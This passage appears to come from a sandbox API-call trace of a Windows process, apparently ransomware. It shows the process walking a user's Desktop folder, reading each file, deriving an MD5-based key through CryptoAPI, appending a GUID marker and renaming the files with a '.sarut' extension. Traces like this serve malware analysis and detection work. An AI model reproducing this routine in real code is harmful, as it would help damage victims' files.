cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0270.062] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0270.062] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0270.062] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0270.062] CloseHandle (hObject=0x5c4) returned 1 [0270.064] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x302b6c8 [0270.064] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8b0) returned 0x311d708 [0270.064] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5ZcHC6YUYXtvBMsNr4\\p uXvDzcIfFbqot.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\5zchc6yuyxtvbmsnr4\\p uxvdzciffbqot.odp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5ZcHC6YUYXtvBMsNr4\\p uXvDzcIfFbqot.odp.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\5zchc6yuyxtvbmsnr4\\p uxvdzciffbqot.odp.sarut")) returned 1 [0270.066] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14888430, ftCreationTime.dwHighDateTime=0x1d4c810, ftLastAccessTime.dwLowDateTime=0xc00686b0, ftLastAccessTime.dwHighDateTime=0x1d4c719, ftLastWriteTime.dwLowDateTime=0xc00686b0, ftLastWriteTime.dwHighDateTime=0x1d4c719, nFileSizeHigh=0x0, nFileSizeLow=0x16d9d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pt He.jpg", cAlternateFileName="PTHE~1.JPG")) returned 1 [0270.066] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0270.066] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xbe) returned 0x307faa8 [0270.066] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5ZcHC6YUYXtvBMsNr4\\Pt He.jpg") returned=".jpg" [0270.066] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5ZcHC6YUYXtvBMsNr4\\Pt He.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\5zchc6yuyxtvbmsnr4\\pt he.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0270.071] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=93597) returned 1 [0270.071] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0270.074] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x16d77, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.074] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0270.075] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076e18 [0270.075] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x16d9d, lpOverlapped=0x0) returned 1 [0270.076] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.076] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0270.076] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.076] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.077] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5060) returned 1 [0270.077] CryptCreateHash (in: hProv=0x2fa5060, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0270.077] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0270.078] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0270.078] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0270.078] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0270.078] GetLastError () returned 0x0 [0270.078] CryptDestroyHash (hHash=0x3091560) returned 1 [0270.078] CryptReleaseContext (hProv=0x2fa5060, dwFlags=0x0) returned 1 [0270.079] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x16d9d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.079] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1990 [0270.079] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0270.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0270.079] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0270.079] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0270.079] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0270.079] CloseHandle (hObject=0x5c4) returned 1 [0270.084] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x2fb7ef8 [0270.084] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8a0) returned 0x311d708 [0270.085] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5ZcHC6YUYXtvBMsNr4\\Pt He.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\5zchc6yuyxtvbmsnr4\\pt he.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5ZcHC6YUYXtvBMsNr4\\Pt He.jpg.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\5zchc6yuyxtvbmsnr4\\pt he.jpg.sarut")) returned 1 [0270.086] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d895730, ftCreationTime.dwHighDateTime=0x1d4d2c4, ftLastAccessTime.dwLowDateTime=0xeed21bb0, ftLastAccessTime.dwHighDateTime=0x1d4c90a, ftLastWriteTime.dwLowDateTime=0xeed21bb0, ftLastWriteTime.dwHighDateTime=0x1d4c90a, nFileSizeHigh=0x0, nFileSizeLow=0x1448c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ug1Kmdfe1kMSfX_H.m4a", cAlternateFileName="UG1KMD~1.M4A")) returned 1 [0270.086] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0270.086] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xbe) returned 0x307faa8 [0270.086] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5ZcHC6YUYXtvBMsNr4\\ug1Kmdfe1kMSfX_H.m4a") returned=".m4a" [0270.086] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5ZcHC6YUYXtvBMsNr4\\ug1Kmdfe1kMSfX_H.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\5zchc6yuyxtvbmsnr4\\ug1kmdfe1kmsfx_h.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0270.087] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=83084) returned 1 [0270.087] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0270.089] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x14466, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.089] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0270.091] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0270.091] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x1448c, lpOverlapped=0x0) returned 1 [0270.092] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.092] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0270.092] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.092] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.092] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5060) returned 1 [0270.093] CryptCreateHash (in: hProv=0x2fa5060, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0270.093] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0270.093] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0270.093] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0270.093] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0270.093] GetLastError () returned 0x0 [0270.093] CryptDestroyHash (hHash=0x3091560) returned 1 [0270.093] CryptReleaseContext (hProv=0x2fa5060, dwFlags=0x0) returned 1 [0270.094] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x1448c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.094] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1990 [0270.094] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0270.094] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0270.094] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0270.094] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0270.094] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0270.094] CloseHandle (hObject=0x5c4) returned 1 [0270.096] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x302b6c8 [0270.096] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8b0) returned 0x311d708 [0270.096] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5ZcHC6YUYXtvBMsNr4\\ug1Kmdfe1kMSfX_H.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\5zchc6yuyxtvbmsnr4\\ug1kmdfe1kmsfx_h.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5ZcHC6YUYXtvBMsNr4\\ug1Kmdfe1kMSfX_H.m4a.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\5zchc6yuyxtvbmsnr4\\ug1kmdfe1kmsfx_h.m4a.sarut")) returned 1 [0270.099] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d895730, ftCreationTime.dwHighDateTime=0x1d4d2c4, ftLastAccessTime.dwLowDateTime=0xeed21bb0, ftLastAccessTime.dwHighDateTime=0x1d4c90a, ftLastWriteTime.dwLowDateTime=0xeed21bb0, ftLastWriteTime.dwHighDateTime=0x1d4c90a, nFileSizeHigh=0x0, nFileSizeLow=0x1448c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ug1Kmdfe1kMSfX_H.m4a", cAlternateFileName="UG1KMD~1.M4A")) returned 0 [0270.099] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0270.099] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0270.099] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa50e8 [0270.099] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0270.099] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0270.099] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.099] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.099] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0270.099] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0270.099] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.099] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.099] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0270.099] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0270.099] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.099] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.099] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0270.100] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0270.100] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.100] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.100] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0270.100] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0270.100] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.100] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.100] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0270.100] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0270.100] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0270.100] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.100] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0270.100] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0270.100] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.100] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0270.100] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.100] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0270.100] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0270.100] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0270.100] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.100] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.100] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0270.100] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0270.100] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0270.100] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.100] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0270.100] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0270.101] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0270.101] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0270.101] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0270.101] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0270.101] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0270.101] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0270.101] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0270.101] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0270.101] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.101] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.101] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0270.101] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0270.101] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.101] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.101] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0270.101] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0270.101] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0270.101] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.101] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0270.101] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0270.101] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0270.101] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.101] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0270.101] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0270.101] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.102] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.102] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0270.102] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0270.102] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.102] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.102] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0270.102] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0270.102] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.102] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.102] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0270.102] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0270.102] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.102] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.102] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0270.102] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0270.102] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.102] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.102] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0270.102] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0270.102] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.102] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.102] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0270.102] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0270.102] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.102] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.103] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0270.103] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0270.103] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.103] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0270.103] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.103] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0270.103] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0270.103] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0270.103] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.103] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.103] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0270.103] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0270.103] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.103] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0270.103] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.103] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0270.103] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0270.103] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0270.103] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0270.103] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0270.103] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0270.103] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0270.103] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0270.103] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0270.104] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0270.104] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0270.104] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.104] 